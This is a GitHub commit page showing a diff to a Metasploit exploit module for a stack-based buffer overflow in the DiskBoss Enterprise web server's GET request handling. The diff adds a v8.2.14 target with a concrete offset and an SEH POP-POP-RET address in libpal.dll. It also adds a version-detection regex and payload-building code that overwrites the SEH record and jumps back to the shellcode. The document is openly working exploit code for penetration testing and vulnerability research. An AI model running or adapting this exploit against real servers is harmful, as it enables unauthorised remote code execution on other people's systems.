Skip to content

Commit e614e9b

Browse files
committed
Land rapid7#9268, Update DiskBoss Module (EDB 42395)
2 parents 5e71be7 + 604b949 commit e614e9b

File tree

1 file changed

+35
-10
lines changed

1 file changed

+35
-10
lines changed

modules/exploits/windows/http/diskboss_get_bof.rb

Lines changed: 35 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -14,20 +14,23 @@ def initialize(info = {})
1414
'Name' => 'DiskBoss Enterprise GET Buffer Overflow',
1515
'Description' => %q{
1616
This module exploits a stack-based buffer overflow vulnerability
17-
in the web interface of DiskBoss Enterprise v7.5.12 and v7.4.28,
17+
in the web interface of DiskBoss Enterprise v7.5.12, v7.4.28, and v8.2.14,
1818
caused by improper bounds checking of the request path in HTTP GET
1919
requests sent to the built-in web server. This module has been
2020
tested successfully on Windows XP SP3 and Windows 7 SP1.
2121
},
2222
'License' => MSF_LICENSE,
2323
'Author' =>
2424
[
25-
'vportal', # Vulnerability discovery and PoC
26-
'Gabor Seljan' # Metasploit module
25+
'vportal', # Vulnerability discovery and PoC
26+
'Ahmad Mahfouz', # Vulnerability discovery and PoC
27+
'Gabor Seljan', # Metasploit module
28+
'Jacob Robles' # Metasploit module
2729
],
2830
'References' =>
2931
[
30-
['EDB', '40869']
32+
['EDB', '40869'],
33+
['EDB', '42395']
3134
],
3235
'DefaultOptions' =>
3336
{
@@ -60,6 +63,13 @@ def initialize(info = {})
6063
'Offset' => 2471,
6164
'Ret' => 0x100461da # ADD ESP,0x68 # RETN [libpal.dll]
6265
}
66+
],
67+
[
68+
'DiskBoss Enterprise v8.2.14',
69+
{
70+
'Offset' => 2496,
71+
'Ret' => 0x1002A8CA # SEH : # POP EDI # POP ESI # RET 04 [libpal.dll]
72+
}
6373
]
6474
],
6575
'Privileged' => true,
@@ -74,7 +84,7 @@ def check
7484
)
7585

7686
if res && res.code == 200
77-
if res.body =~ /DiskBoss Enterprise v7\.(4\.28|5\.12)/
87+
if res.body =~ /DiskBoss Enterprise v(7\.4\.28|7\.5\.12|8\.2\.14)/
7888
return Exploit::CheckCode::Vulnerable
7989
elsif res.body =~ /DiskBoss Enterprise/
8090
return Exploit::CheckCode::Detected
@@ -105,6 +115,8 @@ def exploit
105115
mytarget = targets[1]
106116
elsif res.body =~ /DiskBoss Enterprise v7\.5\.12/
107117
mytarget = targets[2]
118+
elsif res.body =~ /DiskBoss Enterprise v8\.2\.14/
119+
mytarget = targets[3]
108120
end
109121
end
110122

@@ -115,11 +127,24 @@ def exploit
115127
print_status("Selected Target: #{mytarget.name}")
116128
end
117129

118-
sploit = make_nops(21)
119-
sploit << payload.encoded
120-
sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)
121-
sploit << [mytarget.ret].pack('V')
122-
sploit << rand_text_alpha(2500)
130+
case mytarget
131+
when targets[1], targets[2]
132+
sploit = make_nops(21)
133+
sploit << payload.encoded
134+
sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)
135+
sploit << [mytarget.ret].pack('V')
136+
sploit << rand_text_alpha(2500)
137+
when targets[3]
138+
seh = generate_seh_record(mytarget.ret)
139+
sploit = payload.encoded
140+
sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)
141+
sploit[sploit.length, seh.length] = seh
142+
sploit << make_nops(10)
143+
sploit << Rex::Arch::X86.jmp(0xffffbf25) # JMP to ShellCode
144+
sploit << rand_text_alpha(5000 - sploit.length)
145+
else
146+
fail_with(Failure::NoTarget, 'No matching target')
147+
end
123148

124149
send_request_cgi(
125150
'method' => 'GET',

0 commit comments

Comments
 (0)